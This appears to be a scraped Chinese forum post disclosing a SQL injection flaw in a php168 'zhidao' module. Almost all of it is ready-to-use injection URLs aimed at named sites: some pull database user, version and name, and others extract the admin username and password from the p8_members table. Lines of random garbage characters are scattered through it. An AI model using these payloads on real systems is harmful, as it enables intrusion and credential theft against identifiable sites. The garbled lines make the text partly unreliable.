php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       
( q. c: l- H2 s, T
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
5 {# E5 h, A: [# R" ]5 i                                                                  
) G* g1 K0 g& V, X4 W% E8 F5 f                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
5 R) w  c/ F7 K8 k- J
' w+ ?5 F, f3 g
" P. g% x8 i0 _5 K5 b' E
                                                            
5 b7 H/ Q  R" `! T. S* ~
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
# s2 O+ P, L. `8 d2 h1 _

% N2 D; T. p% k! C% l/ t& X; {
. T+ p' c! `0 J  O; w5 W4 m                                                                    
/ x8 N+ z# N; e% f6 D0 v